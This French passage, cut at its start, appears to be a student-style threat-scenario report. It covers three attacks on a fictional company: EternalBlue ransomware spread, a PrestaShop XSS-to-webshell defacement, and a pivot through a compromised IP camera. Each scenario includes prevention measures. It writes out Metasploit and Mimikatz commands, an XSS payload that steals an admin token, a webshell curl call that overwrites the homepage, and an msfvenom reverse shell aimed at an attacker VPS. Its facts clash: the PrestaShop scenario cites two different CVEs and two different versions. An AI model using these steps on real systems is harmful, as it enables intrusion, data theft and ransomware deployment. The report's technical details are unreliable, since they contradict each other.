- identifier les partages réseau accessibles depuis les postes

Comment obtenir ces informations :

L'attaquant part d'un premier poste compromis, par exemple via un email de phishing. Depuis ce poste, il scanne le réseau interne avec Nmap (https://nmap.org) pour identifier les machines Windows avec SMBv1 actif :

nmap -p 445 --script smb-protocols 192.168.0.0/16

Il vérifie ensuite spécifiquement la présence de la vulnérabilité EternalBlue avec le script NSE dédié :

nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24

Les machines qui répondent positivement sont les cibles de l'attaque.

Source sur la détection d'EternalBlue : https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/

Étape 3 : Exploitation de l'attaque

Outils utilisés :

- Metasploit Framework (https://www.metasploit.com/) : framework d'exploitation contenant le module ms17_010_eternalblue
- Mimikatz (https://github.com/gentilkiwi/mimikatz) : extraction de credentials en mémoire pour la propagation latérale

Déroulement :

Depuis la console Metasploit, l'attaquant lance l'exploitation d'EternalBlue sur un premier poste cible :

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.1.50

set PAYLOAD windows/x64/meterpreter/reverse_tcp

exploit

Il obtient une session Meterpreter (accès distant) sur le poste. Il utilise ensuite Mimikatz via cette session pour extraire les credentials en mémoire et se propager aux autres postes du réseau :

load kiwi

creds_all

Une fois les credentials récupérés, il reproduit l'exploitation sur l'ensemble des postes vulnérables identifiés à l'étape 2, puis dépose et exécute le ransomware via les partages SMB.

Étape 4 : Post-exploitation

Une fois le ransomware déployé et exécuté sur les postes de ACME, l'attaquant peut :

- chiffrer l'intégralité des fichiers sur tous les postes atteints et sur les partages réseau connectés, rendant toute l'activité impossible
- afficher une note de rançon demandant un paiement en Bitcoin pour obtenir la clé de déchiffrement
- pratiquer la double extorsion : menacer de publier les données volées avant chiffrement si la rançon n'est pas payée dans les délais
- détruire les sauvegardes réseau accessibles pour empêcher toute restauration sans payer

Un cas réel documenté très comparable : l'attaque par ransomware contre le Centre Hospitalier de Corbeil-Essonnes en 2022 : https://www.francetvinfo.fr/sante/hopital/cyberattaque-contre-l-hopital-de-corbeil-essonnes-les-hackers-publient-des-donnees-des-patients_5395571.html

Étape 5 : Retour et analyse

Impact sur l'activité de ACME SA :

- Impact opérationnel majeur : arrêt complet du site e-commerce, impossibilité de traiter les commandes, pertes financières directes par journée d'indisponibilité
- Impact financier : coûts de remédiation (reconstruction des systèmes, restauration), éventuel paiement de rançon, frais juridiques
- Impact réputationnel : indisponibilité visible par les clients, perte de confiance durable
- Impact juridique : si des données personnelles ont été exfiltrées avant chiffrement, obligation de notifier la CNIL sous 72 heures

Mesures de prévention :

- Désactiver SMBv1 sur tous les postes et serveurs Windows : https://learn.microsoft.com/fr-fr/windows-server/storage/file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3

- Appliquer le correctif Microsoft MS17-010 sur tous les systèmes encore vulnérables : https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
- Mettre en place une stratégie de sauvegarde 3-2-1 (3 copies, 2 supports différents, 1 hors site) avec des sauvegardes déconnectées du réseau
- Segmenter le réseau interne en VLANs pour limiter la propagation latérale d'un ransomware
- Déployer un EDR (Endpoint Detection and Response) sur tous les postes pour détecter les comportements anormaux de chiffrement de masse
- Former les employés à la détection des emails de phishing, vecteur d'infection initial le plus fréquent
- Tester régulièrement le Plan de Reprise d'Activité (PRA) et les procédures de restauration
- Référence ANSSI sur les ransomwares : https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

Scénario 7 : Défacement du site e-commerce de ACME à l'aide d'une injection de fichier (File Upload Vulnerability)

Étape 1 — Définir le scénario de l'attaque

Le site e-commerce d'ACME est accessible à l'adresse **https://shop.acme.fr**. Lors de la phase de reconnaissance, nous avons identifié que ce site est développé sous PrestaShop 1.7.6, une version qui présente une vulnérabilité critique de téléversement de fichier non contrôlé, référencée CVE-2022-31101.

Cette faille permet à n'importe quel visiteur non authentifié d'uploader un fichier PNG piégé via le formulaire de contact du site. Lorsqu'un administrateur ouvre ce fichier dans le back-office, un script malveillant s'exécute dans son navigateur, volant son token de session et son jeton CSRF. L'attaquant peut alors effectuer n'importe quelle action en tant qu'administrateur, y compris importer un thème malveillant contenant un webshell PHP — aboutissant au défacement complet du site.

Référence CVE : https://nvd.nist.gov/vuln/detail/CVE-2024-34716

Advisory GitHub officiel : https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-45vm-3j38-7p78

Référence CWE-79 (Cross-Site Scripting) : https://cwe.mitre.org/data/definitions/79.html

L'objectif est de remplacer la page d'accueil du site e-commerce d'ACME par une page personnalisée via une attaque en chaîne : XSS → vol de token admin → upload de webshell → défacement.

Exemple réel comparable :

En 2024, un chercheur en sécurité a publié un proof-of-concept complet exploitant cette CVE pour obtenir un accès RCE sur un serveur PrestaShop. Le PoC est disponible publiquement sur GitHub, ce qui facilite son utilisation par des attaquants peu expérimentés :

https://github.com/aelmokhtar/CVE-2024-34716_PoC

Étape 2 — Collecte de données (Intelligence Gathering)

Pour mener cette attaque, nous avons besoin de :

- L'adresse du site e-commerce d'ACME
- La technologie et la version exacte du CMS utilisé
- La confirmation que le feature flag customer-thread est activé (condition nécessaire à la CVE)
- L'adresse du panneau d'administration PrestaShop

2.1 — Identifier le CMS et sa version

Nous utilisons l'extension Wappalyzer pour confirmer que le site tourne sous PrestaShop 8.1.4 : https://chromewebstore.google.com/detail/wappalyzer-technology-profiler/gppongmhjkpfnbhagpmjfkannfbllamg

2.2 — Vérifier que le formulaire de contact est actif

Nous naviguons sur https://shop.acme.fr/contact-us : le formulaire est bien présent et propose un champ d'upload de pièce jointe — condition nécessaire à l'exploitation de la CVE-2024-34716.

2.3 — Localiser le panneau d'administration

Nous utilisons DirBuster pour scanner les répertoires du site :

https://gitlab.com/kalilinux/packages/dirbuster

bash
dirb https://shop.acme.fr /usr/share/dirb/wordlists/common.txt

Résultat hypothétique : le panneau d'administration est accessible à https://shop.acme.fr/admin123/

Étape 3 — Exploitation de l'attaque

L'attaque se déroule en trois phases enchaînées : XSS → vol du token admin → upload du webshell.

Outil utilisé : PoC CVE-2024-34716 (Ayoub AIT ELMOKHTAR)

https://github.com/aelmokhtar/CVE-2024-34716_PoC

Phase 1 — Créer le fichier PNG malveillant

Nous créons un fichier exploit.png contenant un payload XSS qui, une fois ouvert par l'admin, va automatiquement récupérer son token CSRF et importer un thème malveillant :

```
<script>

fetch('/admin123/index.php/improve/design/themes/import')

  .then(r => r.text())

  .then(html => {

    const token = html.match(/import_theme\[_token\]" value="(.+?)"/)[1];

    const data = new FormData();

    data.append('import_theme[_token]', token);

    data.append('import_theme[theme_zip_file]', maliciousThemeBlob);

    fetch('/admin123/index.php/improve/design/themes/import', {

      method: 'POST', body: data

    });

  });
```

</script>

Phase 2 — Déposer le fichier via le formulaire de contact

Nous soumettons exploit.png via https://shop.acme.fr/contact-us. Dès qu'un administrateur ouvre le ticket dans le back-office, le script s'exécute dans son navigateur.

Phase 3 — Défacement via le webshell

Le thème malveillant importé contient un webshell PHP. Une fois en place, nous remplaçons la page d'accueil :

bash

curl "https://shop.acme.fr/themes/malicious/shell.php?cmd=echo+HACKED+>+/var/www/html/index.php"

La page d'accueil du site e-commerce affiche désormais le message de l'attaquant.

Étape 4 — Post-Exploitation

Avec un accès webshell sur le serveur, l'attaquant peut aller bien au-delà du simple défacement :

- Exfiltrer la base de données contenant les commandes et données clients européens d'ACME
- Installer un accès persistant (backdoor) pour maintenir le contrôle du serveur après correction du défacement
- Rediriger les visiteurs vers une fausse boutique pour du phishing e-commerce à grande échelle
- Détruire les fichiers du site pour rendre la remise en ligne longue et coûteuse

Exemple réel comparable :

Zone-H est la base de données mondiale de référence recensant les défacements réels de sites web, utilisée par les chercheurs en sécurité et les forces de l'ordre. Elle documente des milliers de cas similaires impliquant des boutiques e-commerce :

https://www.zone-h.org/archive/special=1

Étape 5 — Retour et Analyse

Impact sur l'activité d'ACME :

Pour une entreprise dont le cœur d'activité est la vente en ligne à destination du marché européen, un défacement du site e-commerce est un scénario particulièrement destructeur : interruption totale des ventes, atteinte grave à la réputation, risque de déréférencement Google, et obligation de notification à la CNIL sous 72h en cas de fuite de données clients (RGPD, Article 33).

Mesures préventives recommandées :

Mesure	**Description**	**Référence**
Mettre à jour PrestaShop	Passer en version ≥ 8.1.6 qui corrige la CVE-2024-34716	https://github.com/PrestaShop/PrestaShop/releases/tag/8.1.6
Désactiver le feature flag customer-thread	Mesure d'urgence si la mise à jour immédiate est impossible	https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-45vm-3j38-7p78
Valider les fichiers uploadés côté serveur	Vérifier le type MIME réel, pas seulement l'extension	https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
Mettre en place un WAF	Bloquer les payloads XSS avant qu'ils n'atteignent l'application	https://owasp.org/www-project-modsecurity-core-rule-set/
Activer le MFA sur le back-office	Limite l'impact même si un token est volé	https://cyber.gouv.fr/publications/recommandations-relatives-lauthentification-multifacteur-et-aux-mots-de-passe
Surveiller l'intégrité des fichiers	Détecter toute modification non autorisée des fichiers du site	https://aide.github.io/

Scénario 8 : Intrusion dans le réseau interne d'ACME via exploitation d'un objet connecté (IoT)

Étape 1 : Définir le scénario de l'attaque

ACME dispose dans ses locaux parisiens de plusieurs objets connectés : caméras de surveillance IP, imprimantes réseau, thermostats connectés et badgeuses d'accès. Ces appareils sont connectés au même réseau interne que les postes de travail des employés.

Lors de la phase de reconnaissance, on identifie qu'une caméra de surveillance IP de marque générique est accessible depuis internet sur le port 8080, avec les identifiants par défaut jamais changés (admin/admin).

Cette vulnérabilité est référencée sous la **CWE-1392 : Use of Default Credentials**, qui décrit le risque lié aux appareils livrés avec des identifiants constructeur jamais modifiés. Référence CWE : https://cwe.mitre.org/data/definitions/1392.html

L'objectif est de prendre le contrôle de cette caméra pour l'utiliser comme point d'entrée vers le réseau interne d'ACME.

Étape 2 : Collecte de données (Intelligence Gathering)

Pour mener l'attaque il nous faut :

- Identifier les appareils IoT exposés sur internet appartenant à ACME
- Trouver la marque et le modèle de l'appareil pour chercher ses identifiants par défaut
- Vérifier si l'interface d'administration est accessible depuis l'extérieur

2.1 Pour identifier les appareils IOT, on utilise Shodan pour rechercher les appareils connectés associés à l'adresse IP d'ACME :

http.title:"Network Camera" org:"ACME"

Shodan retourne les appareils exposés avec leurs ports ouverts et leurs bannières. On identifie une caméra IP sur le port 8080.

Outil : https://www.shodan.io

2.2 Identifier la marque et le modèle : La bannière HTTP retournée par Shodan indique le modèle exact de la caméra. On cherche ensuite ses identifiants par défaut sur internet (exemple :"nom du modèle camera" default password)

Résultat hypothétique : identifiants par défaut : admin / admin jamais modifiés.

2.3 Vérifier l'accès à l'interface d'administration On tape directement l'IP et le port dans un navigateur :

http://185.X.X.X:8080

L'interface de la caméra s'affiche. On entre les identifiants par défaut et on est connecté.

Étape 3 : Exploitation de l'attaque

Outil utilisé : Metasploit Framework

Téléchargement : https://www.metasploit.com/download

Tutoriel en français : https://hackops.fr/creer-un-trojan-avec-metasploit/

Une fois connecté à l'interface de la caméra, on exploite une vulnérabilité d'exécution de commandes à distance connue sur ce modèle pour y déposer un payload Metasploit.

3.1 — Générer le payload pour l'architecture de la caméra (Linux/ARM)

bash
**msfvenom -p linux/armle/meterpreter/reverse_tcp **
**LHOST=<IP_du_VPS> LPORT=4444 **
-f elf -o camera_payload

3.2 Uploader et exécuter le payload sur la caméra Via l'interface d'administration ou une vulnérabilité connue du firmware, on uploade et exécute le payload. Une session Meterpreter s'ouvre sur notre machine.

3.3 Utiliser la caméra comme pivot vers le réseau interne La caméra est connectée au réseau interne d'ACME. Depuis notre session Meterpreter on peut maintenant scanner le réseau interne :

bash
run post/multi/manage/shell_to_meterpreter
run post/multi/recon/local_exploit_suggester

Étape 4 : Post-Exploitation

Une fois le réseau interne accessible depuis la caméra compromise, un attaquant peut :

- Scanner le réseau interne pour identifier tous les appareils connectés (serveurs, postes de travail, NAS)
- Attaquer les postes de travail depuis l'intérieur du réseau, là où il n'y a généralement pas de firewall entre les machines
- Accéder aux serveurs de fichiers contenant les données sensibles d'ACME (contrats, données RH, bases clients)
- Se déplacer latéralement de machine en machine jusqu'à atteindre un compte administrateur
- Déployer un ransomware sur l'ensemble du réseau depuis cette position interne privilégiée

Exemple réel : En 2023 une usine européenne a subi une intrusion via une caméra IP compromise. Les attaquants ont utilisé l'appareil comme pivot pour atteindre les systèmes de contrôle industriel du réseau interne. Source : https://www.lemondeinformatique.fr/actualites/lire-les-objets-connectes-principale-porte-d-entree-des-hackers-en-entreprise-87328.html

Étape 5 - Retour et Analyse

Impact sur ACME : Une intrusion via IoT est particulièrement dangereuse parce que ces appareils sont rarement surveillés par les équipes IT. La caméra compromise donne un accès au réseau interne équivalent à celui d'un employé physiquement présent dans les locaux. Pour ACME cela peut mener à une exfiltration massive de données, un ransomware ou une paralysie complète du SI.

Mesures préventives recommandées :

Mesure	**Description**	**Référence**
Changer les identifiants par défaut	Obligation de modifier les credentials constructeur dès l'installation de tout appareil IoT	https://www.cybermalveillance.gouv.fr/tous-nos-contenus/bonnes-pratiques/securite-objets-connectes-iot
Segmentation réseau	Isoler les appareils IoT sur un réseau séparé (VLAN dédié) sans accès aux postes de travail	https://www.fortinet.com/fr/resources/cyberglossary/network-segmentation

Inventaire et mise à jour des firmwares	Maintenir un inventaire de tous les appareils IoT et appliquer les mises à jour de sécurité régulièrement	https://www.anssi.fr
Bloquer l'accès internet aux IoT	Les caméras et imprimantes n'ont aucune raison d'être accessibles depuis internet	https://www.cyber.gouv.fr
Surveillance réseau (IDS)	Détecter les comportements anormaux sur le réseau comme un scan depuis une caméra	https://www.snort.org